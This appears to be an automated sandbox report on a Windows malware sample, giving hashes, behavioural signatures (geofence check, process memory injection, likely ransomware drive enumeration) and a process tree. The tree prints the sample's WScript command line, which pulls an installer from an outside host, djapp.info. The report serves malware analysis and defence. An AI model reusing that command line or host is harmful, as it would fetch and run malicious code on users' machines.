Analysis
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max time kernel
105s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
04-12-2022 13:32
Static task
static1
Behavioral task
behavioral1
Sample
af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe
Resource
win10v2004-20220901-en
General
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Target
af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe
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Size
184KB
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MD5
650dc79196587f37b681835600b8816c
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SHA1
0501cf4f95711e730d8a163d9ed206f4621425aa
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SHA256
af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889
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SHA512
2fe60db497e78fe7ee1a29a0dcb5b0fb338a60224e2499f4529a5befabaefcd3523dc909eb376751dad3e5ea7d15725bf0af0e41b2e366cecff90cb21b4725a8
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO38:/7BSH8zUB+nGESaaRvoB7FJNndnJ
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 2436 WScript.exe 7 2436 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3008 wrote to memory of 2436 3008 af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe 82 PID 3008 wrote to memory of 2436 3008 af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe 82 PID 3008 wrote to memory of 2436 3008 af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe 82
Processes
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C:\Users\Admin\AppData\Local\Temp\af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe"C:\Users\Admin\AppData\Local\Temp\af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC96F.js" http://www.djapp.info/?domain=wwMONoBVXT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufC96F.exe2⤵
- Blocklisted process makes network request
PID:2436
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
570B
MD5986be013d967fdaddfba2586bc9ce228
SHA16741bae46ec6bfe52498860186378a8d3a6e382d
SHA256618e71ece58120445ab84fa046d53939fc35a51ca1d3727b29e1b7944c75da58
SHA51222e5bdc0a7eb71a4b9740f44113787bbbdec55a4870fdad32675aae79a6a4b2c9309b6e404fd4dc9e344f724809a95409b6a0413c1d95c453d4ab93760dd39d1
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76